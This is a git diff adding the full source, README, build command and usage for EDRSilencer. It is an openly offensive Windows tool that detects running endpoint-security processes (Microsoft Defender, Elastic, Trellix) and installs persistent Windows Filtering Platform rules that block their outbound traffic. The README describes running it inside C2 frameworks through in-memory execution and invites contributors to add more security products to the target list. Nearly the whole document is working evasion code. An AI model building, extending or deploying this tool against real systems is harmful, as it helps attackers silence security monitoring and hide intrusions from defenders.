diff --git a/EDRSilencer.c b/EDRSilencer.c new file mode 100644 index 0000000..3c849d2 --- /dev/null +++ b/EDRSilencer.c @@ -0,0 +1,346 @@ +#include "utils.h" + +char* edrProcess[] = { +// Microsoft Defender for Endpoint and Microsoft Defender Antivirus + "MsMpEng.exe", + "MsSense.exe", +// Elastic EDR + "elastic-agent.exe", + "elastic-endpoint.exe", + "filebeat.exe", +// Trellix EDR + "xagt.exe" +}; + +BOOL inWfpFlag[sizeof(edrProcess) / sizeof(edrProcess[0])] = { FALSE }; + +// The "unblockall" feature will delete all filters that are based on the custom filter name +WCHAR* filterName = L"Custom Outbound Filter"; + +// d78e1e87-8644-4ea5-9437-d809ecefc971 +DEFINE_GUID( + FWPM_CONDITION_ALE_APP_ID, + 0xd78e1e87, + 0x8644, + 0x4ea5, + 0x94, 0x37, 0xd8, 0x09, 0xec, 0xef, 0xc9, 0x71 +); + +// c38d57d1-05a7-4c33-904f-7fbceee60e82 +DEFINE_GUID( + FWPM_LAYER_ALE_AUTH_CONNECT_V4, + 0xc38d57d1, + 0x05a7, + 0x4c33, + 0x90, 0x4f, 0x7f, 0xbc, 0xee, 0xe6, 0x0e, 0x82 +); + +// 4a72393b-319f-44bc-84c3-ba54dcb3b6b4 +DEFINE_GUID( + FWPM_LAYER_ALE_AUTH_CONNECT_V6, + 0x4a72393b, + 0x319f, + 0x44bc, + 0x84, 0xc3, 0xba, 0x54, 0xdc, 0xb3, 0xb6, 0xb4 +); + +// Check if the running process is our list +BOOL isInEdrProcessList(const char* procName) { + for (int i = 0; i < sizeof(edrProcess) / sizeof(edrProcess[0]); i++) { + if (strstr(procName, edrProcess[i]) != NULL && !inWfpFlag[i]) { + inWfpFlag[i] = TRUE; + return TRUE; + } + } + return FALSE; +} + +// Add WFP filters for all known EDR process(s) +void BlockEdrProcessTraffic() { + HANDLE hEngine; + FwpmEngineOpen0(NULL, RPC_C_AUTHN_DEFAULT, NULL, NULL, &hEngine); + HANDLE hProcessSnap; + HANDLE hModuleSnap; + PROCESSENTRY32 pe32; + MODULEENTRY32 me32; + BOOL isEdrDetected = FALSE; + + EnableSeDebugPrivilege(); + + hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (hProcessSnap == INVALID_HANDLE_VALUE) { + printf("[-] CreateToolhelp32Snapshot (of processes) failed with error code: 0x%x\n", GetLastError()); + return; + } + + pe32.dwSize = sizeof(PROCESSENTRY32); + if (!Process32First(hProcessSnap, &pe32)) { + printf("[-] Process32First failed with error code: 0x%x\n", GetLastError()); + CloseHandle(hProcessSnap); + return; + } + + do { + if (isInEdrProcessList(pe32.szExeFile)) { + isEdrDetected = TRUE; + printf("Detected running EDR process: %s (%d):\n", pe32.szExeFile, pe32.th32ProcessID); + // Get full path of the running process + HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pe32.th32ProcessID); + if (hProcess) { + WCHAR fullPath[MAX_PATH]; + DWORD size = MAX_PATH; + QueryFullProcessImageNameW(hProcess, 0, fullPath, &size); + FWPM_FILTER_CONDITION0 cond; + FWPM_FILTER0 filter = {0}; + FWP_BYTE_BLOB* appId; + + if (FwpmGetAppIdFromFileName0(fullPath, &appId) != ERROR_SUCCESS) { + printf(" [-] FwpmGetAppIdFromFileName0 failed to get app ID.\n"); + CloseHandle(hProcess); + continue; + } + + // Setting up WFP filter and condition + filter.displayData.name = filterName; + filter.flags = FWPM_FILTER_FLAG_PERSISTENT; + filter.layerKey = FWPM_LAYER_ALE_AUTH_CONNECT_V4; + filter.action.type = FWP_ACTION_BLOCK; + cond.fieldKey = FWPM_CONDITION_ALE_APP_ID; + cond.matchType = FWP_MATCH_EQUAL; + cond.conditionValue.type = FWP_BYTE_BLOB_TYPE; + cond.conditionValue.byteBlob = appId; + filter.filterCondition = &cond; + filter.numFilterConditions = 1; + + UINT64 filterId; + DWORD result; + + // Add filter to both IPv4 and IPv6 layers + result = FwpmFilterAdd0(hEngine, &filter, NULL, &filterId); + if (result == ERROR_SUCCESS) { + printf(" Added WFP filter for \"%S\" (Filter id: %d, IPv4 layer).\n", fullPath, filterId); + } else { + printf(" [-] Failed to add filter in IPv4 layer with error code: 0x%x\n", result); + } + + filter.layerKey = FWPM_LAYER_ALE_AUTH_CONNECT_V6; + result = FwpmFilterAdd0(hEngine, &filter, NULL, &filterId); + if (result == ERROR_SUCCESS) { + printf(" Added WFP filter for \"%S\" (Filter id: %d, IPv6 layer).\n", fullPath, filterId); + } else { + printf(" [-] Failed to add filter in IPv6 layer with error code: 0x%x\n", result); + } + + FwpmFreeMemory0((void**)&appId); + CloseHandle(hProcess); + } else { + printf(" [-] Could not open process \"%s\" with error code: 0x%x\n", pe32.szExeFile, GetLastError()); + } + } + } while (Process32Next(hProcessSnap, &pe32)); + + if (!isEdrDetected) { + printf("[-] No EDR process was detected. Please double check the edrProcess list or add the filter manually using 'block' command.\n"); + } + CloseHandle(hProcessSnap); + FwpmEngineClose0(hEngine); + return; +} + +// Add block WFP filter to user-defined process +void BlockProcessTraffic(char* fullPath) { + HANDLE hEngine; + FwpmEngineOpen0(NULL, RPC_C_AUTHN_DEFAULT, NULL, NULL, &hEngine); + + WCHAR wFullPath[MAX_PATH]; + DWORD size = MAX_PATH; + CharArrayToWCharArray(fullPath, wFullPath, sizeof(wFullPath) / sizeof(wFullPath[0])); + FWPM_FILTER_CONDITION0 cond; + FWPM_FILTER0 filter = {0}; + + FWP_BYTE_BLOB* appId; + + if (FwpmGetAppIdFromFileName0(wFullPath, &appId) != ERROR_SUCCESS) { + printf("[-] FwpmGetAppIdFromFileName0 failed to get app ID. Please check if the process path is valid.\n"); + return; + } + + // Setting up WFP filter and condition + filter.displayData.name = filterName; + filter.flags = FWPM_FILTER_FLAG_PERSISTENT; + filter.layerKey = FWPM_LAYER_ALE_AUTH_CONNECT_V4; + filter.action.type = FWP_ACTION_BLOCK; + cond.fieldKey = FWPM_CONDITION_ALE_APP_ID; + cond.matchType = FWP_MATCH_EQUAL; + cond.conditionValue.type = FWP_BYTE_BLOB_TYPE; + cond.conditionValue.byteBlob = appId; + filter.filterCondition = &cond; + filter.numFilterConditions = 1; + + UINT64 filterId; + DWORD result; + + // Add filter to both IPv4 and IPv6 layers + result = FwpmFilterAdd0(hEngine, &filter, NULL, &filterId); + if (result == ERROR_SUCCESS) { + printf("Added WFP filter for \"%s\" (Filter id: %d, IPv4 layer).\n", fullPath, filterId); + } else { + printf("[-] Failed to add filter in IPv4 layer with error code: 0x%x\n", result); + } + + filter.layerKey = FWPM_LAYER_ALE_AUTH_CONNECT_V6; + result = FwpmFilterAdd0(hEngine, &filter, NULL, &filterId); + if (result == ERROR_SUCCESS) { + printf("Added WFP filter for \"%s\" (Filter id: %d, IPv6 layer).\n", fullPath, filterId); + } else { + printf("[-] Failed to add filter in IPv6 layer with error code: 0x%x\n", result); + } + + FwpmFreeMemory0((void**)&appId); + FwpmEngineClose0(hEngine); + return; +} + +// Remove all WFP filters previously created +void UnblockAllWfpFilters() { + HANDLE hEngine; + DWORD result; + HANDLE enumHandle; + FWPM_FILTER0** filters; + UINT32 numFilters = 0; + BOOL foundFilter = FALSE; + result = FwpmEngineOpen0(NULL, RPC_C_AUTHN_DEFAULT, NULL, NULL, &hEngine); + if (result != ERROR_SUCCESS) { + printf("[-] FwpmEngineOpen0 failed with error code: 0x%x\n", result); + return; + } + + result = FwpmFilterCreateEnumHandle0(hEngine, NULL, &enumHandle); + if (result != ERROR_SUCCESS) { + printf("[-] FwpmFilterCreateEnumHandle0 failed with error code: 0x%x\n", result); + return; + } + + while(TRUE) { + result = FwpmFilterEnum0(hEngine, enumHandle, 1, &filters, &numFilters); + + if (result != ERROR_SUCCESS) { + printf("[-] FwpmFilterEnum0 failed with error code: 0x%x\n", result); + FwpmFilterDestroyEnumHandle0(hEngine, enumHandle); + FwpmEngineClose0(hEngine); + return; + } + + if (numFilters == 0) { + break; + } + + FWPM_DISPLAY_DATA0 *data = &filters[0]->displayData; + WCHAR* currentFilterName = data->name; + if (wcscmp(currentFilterName, filterName) == 0) { + foundFilter = TRUE; + UINT64 filterId = filters[0]->filterId; + result = FwpmFilterDeleteById0(hEngine, filterId); + if (result == ERROR_SUCCESS) { + printf("Deleted filter id: %llu.\n", filterId); + } else { + printf("[-] Failed to delete filter id: %llu with error code: 0x%x.\n", filterId, result); + } + } + } + + if (!foundFilter) { + printf("[-] Unable to find any WFP filter created by this tool.\n"); + } + FwpmFilterDestroyEnumHandle0(hEngine, enumHandle); + FwpmEngineClose0(hEngine); +} + +// Remove WFP filter based on filter id +void UnblockWfpFilter(UINT64 filterId) { + HANDLE hEngine; + DWORD result; + + result = FwpmEngineOpen0(NULL, RPC_C_AUTHN_DEFAULT, NULL, NULL, &hEngine); + if (result != ERROR_SUCCESS) { + printf("[-] FwpmEngineOpen0 failed with error code: 0x%x\n", result); + return; + } + + result = FwpmFilterDeleteById0(hEngine, filterId); + + if (result == ERROR_SUCCESS) { + printf("Deleted filter id: %llu.\n", filterId); + } + else if (result == FWP_E_FILTER_NOT_FOUND) { + printf("[-] The filter does not exist.\n"); + } else { + printf("[-] Failed to delete filter id: %llu with error code: 0x%x.\n", filterId, result); + } + + FwpmEngineClose0(hEngine); +} + +void PrintHelp() { + printf("Usage: EDROutBlock.exe \n"); + printf("- Add WFP filters to block the IPv4 and IPv6 outbound traffic of all detected EDR processes:\n"); + printf(" EDROutBlock.exe blockedr\n\n"); + printf("- Add WFP filters to block the IPv4 and IPv6 outbound traffic of a specific process (full path is required):\n"); + printf(" EDROutBlock.exe block \"C:\\Windows\\System32\\curl.exe\"\n\n"); + printf("- Remove all WFP filters applied by this tool:\n"); + printf(" EDROutBlock.exe unblockall\n\n"); + printf("- Remove a specific WFP filter based on filter id:\n"); + printf(" EDROutBlock.exe unblock "); +} + +int main(int argc, char *argv[]) { + if (argc < 2) { + PrintHelp(); + return 1; + } + + if (strcasecmp(argv[1], "-h") == 0 || strcasecmp(argv[1], "--help") == 0) { + PrintHelp(); + return 1; + } + + if (!CheckProcessIntegrityLevel()) { + return 1; + } + + if (strcmp(argv[1], "blockedr") == 0) { + BlockEdrProcessTraffic(); + } else if (strcmp(argv[1], "block") == 0) { + if (argc < 3) { + printf("[-] Missing second argument. Please provide the full path of the process to block.\n"); + return 1; + } + BlockProcessTraffic(argv[2]); + } else if (strcmp(argv[1], "unblockall") == 0) { + UnblockAllWfpFilters(); + } else if (strcmp(argv[1], "unblock") == 0) { + if (argc < 3) { + printf("[-] Missing argument for 'unblock' command. Please provide the filter id.\n"); + return 1; + } + char *endptr; + errno = 0; + + UINT64 filterId = strtoull(argv[2], &endptr, 10); + + if (errno != 0) { + printf("[-] strtoull failed with error code: 0x%x\n", errno); + return 1; + } + + if (endptr == argv[2]) { + printf("[-] Please provide filter id in digits.\n"); + return 1; + } + UnblockWfpFilter(filterId); + } else { + printf("[-] Invalid argument: \"%s\".\n", argv[1]); + return 1; + } + return 0; +} \ No newline at end of file diff --git a/README.md b/README.md new file mode 100644 index 0000000..5a557e3 --- /dev/null +++ b/README.md @@ -0,0 +1,45 @@ +# EDRSilencer +Inspired by the closed source FireBlock tool [FireBlock](https://www.mdsec.co.uk/2023/09/nighthawk-0-2-6-three-wise-monkeys/) from MdSec NightHawk, I decided to create my own version and this tool was created with the aim of blocking the outbound traffic of running EDR processes using Windows Filtering Platform (WFP) APIs. + +This tool offers the following features: +- Search known running EDR processes and add WFP filter to block its outbound traffic +- Add WFP filter for a specific process +- Remove all WFP filters created by this tool +- Remove a specific WFP filter by filter id +- Support to run in C2 with in-memory PE execution module (e.g., `BruteRatel's memexec`) + +**The current EDR process block list (edrProcess) includes only a limited number of EDR solutions (e.g., MDE, Elastic EDR). It would be appreciated if someone could assist in expanding the process list in `EDRSilencer.c` to encompass a broader range of other EDR solutions.** + +## Testing Environment +Tested in Windows 10 and Windows Server 2016 + +## Usage +``` +Usage: EDRSilencer.exe +- Add WFP filters to block the IPv4 and IPv6 outbound traffic of all detected EDR processes: + EDRSilencer.exe blockedr + +- Add WFP filters to block the IPv4 and IPv6 outbound traffic of a specific process (full path is required): + EDRSilencer.exe block "C:\Windows\System32\curl.exe" + +- Remove all WFP filters applied by this tool: + EDRSilencer.exe unblockall + +- Remove a specific WFP filter based on filter id: + EDRSilencer.exe unblock +``` + +## Compile +``` +x86_64-w64-mingw32-gcc EDRSilencer.c -o EDRSilencer.exe -lfwpuclnt utils.c +``` + +## Example +### Detect and block the outbound traffic of running EDR processes +``` +EDRSilencer.exe blockedr +``` +![HowTo](https://github.com/netero1010/EDRSilencer/raw/main/example.png) + +## Credits +https://www.mdsec.co.uk/2023/09/nighthawk-0-2-6-three-wise-monkeys/ \ No newline at end of file diff --git a/example.png b/example.png new file mode 100644 index 0000000..c02701a Binary files /dev/null and b/example.png differ diff --git a/utils.c b/utils.c new file mode 100644 index 0000000..1a344be --- /dev/null +++ b/utils.c @@ -0,0 +1,106 @@ +#include "utils.h" + +BOOL CheckProcessIntegrityLevel() { + HANDLE hToken; + DWORD dwLength = 0; + PTOKEN_MANDATORY_LABEL pTIL = NULL; + DWORD dwIntegrityLevel; + BOOL isHighIntegrity = FALSE; + + if (!OpenThreadToken(GetCurrentThread(), TOKEN_QUERY, TRUE, &hToken)) { + if (GetLastError() != ERROR_NO_TOKEN) { + printf("[-] OpenThreadToken failed with error code:0x%x\n", GetLastError()); + return FALSE; + } + + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) { + printf("[-] OpenProcessToken failed with error code:0x%x\n", GetLastError()); + return FALSE; + } + } + + // Get the size of the integrity level information + if (!GetTokenInformation(hToken, TokenIntegrityLevel, NULL, 0, &dwLength) && + GetLastError() != ERROR_INSUFFICIENT_BUFFER) { + printf("[-] GetTokenInformation failed with error code:0x%x\n", GetLastError()); + CloseHandle(hToken); + return FALSE; + } + + pTIL = (PTOKEN_MANDATORY_LABEL)LocalAlloc(LPTR, dwLength); + if (pTIL == NULL) { + printf("[-] LocalAlloc failed with error code:0x%x\n", GetLastError()); + CloseHandle(hToken); + return FALSE; + } + + if (!GetTokenInformation(hToken, TokenIntegrityLevel, pTIL, dwLength, &dwLength)) { + printf("[-] GetTokenInformation failed with error code:0x%x\n", GetLastError()); + LocalFree(pTIL); + CloseHandle(hToken); + return FALSE; + } + + dwIntegrityLevel = *GetSidSubAuthority(pTIL->Label.Sid, (DWORD)(UCHAR)(*GetSidSubAuthorityCount(pTIL->Label.Sid) - 1)); + + if (dwIntegrityLevel >= SECURITY_MANDATORY_HIGH_RID) { + isHighIntegrity = TRUE; + } else { + printf("[-] This program requires to run in high integrity level.\n"); + } + + LocalFree(pTIL); + CloseHandle(hToken); + return isHighIntegrity; +} + +// Enable SeDebugPrivilege to obtain full path of running processes +BOOL EnableSeDebugPrivilege() { + HANDLE hToken = NULL; + TOKEN_PRIVILEGES tokenPrivileges = { 0 }; + + if (!OpenThreadToken(GetCurrentThread(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, TRUE, &hToken)) { + if (GetLastError() != ERROR_NO_TOKEN) { + printf("[-] OpenThreadToken failed with error code:0x%x\n", GetLastError()); + return FALSE; + } + + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken)) { + printf("[-] OpenProcessToken failed with error code:0x%x\n", GetLastError()); + return FALSE; + } + } + + if (!LookupPrivilegeValueA(NULL, "SeDebugPrivilege", &tokenPrivileges.Privileges[0].Luid)){ + printf("[-] LookupPrivilegeValueA failed with error code:0x%x\n", GetLastError()); + CloseHandle(hToken); + return FALSE; + } + + tokenPrivileges.PrivilegeCount = 1; + tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + + if (!AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) { + printf("[-] AdjustTokenPrivileges failed with error code:0x%x\n", GetLastError()); + CloseHandle(hToken); + return FALSE; + } + + if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) { + printf("[-] Failed to get SeDebugPrivilege. You might not be able to get the process handle of the EDR process.\n"); + CloseHandle(hToken); + return FALSE; + } + + CloseHandle(hToken); + return TRUE; +} + +void CharArrayToWCharArray(const char charArray[], WCHAR wCharArray[], size_t wCharArraySize) { + int result = MultiByteToWideChar(CP_UTF8, 0, charArray, -1, wCharArray, wCharArraySize); + + if (result == 0) { + printf("[-] MultiByteToWideChar failed with error code:0x%x\n", GetLastError()); + wCharArray[0] = L'\0'; + } +} \ No newline at end of file diff --git a/utils.h b/utils.h new file mode 100644 index 0000000..9d7559b --- /dev/null +++ b/utils.h @@ -0,0 +1,10 @@ +#include +#include +#include +#include +#include + +#define FWPM_FILTER_FLAG_PERSISTENT (0x00000001) +BOOL CheckProcessIntegrityLevel(); +BOOL EnableSeDebugPrivilege(); +void CharArrayToWCharArray(const char charArray[], WCHAR wCharArray[], size_t wCharArraySize); \ No newline at end of file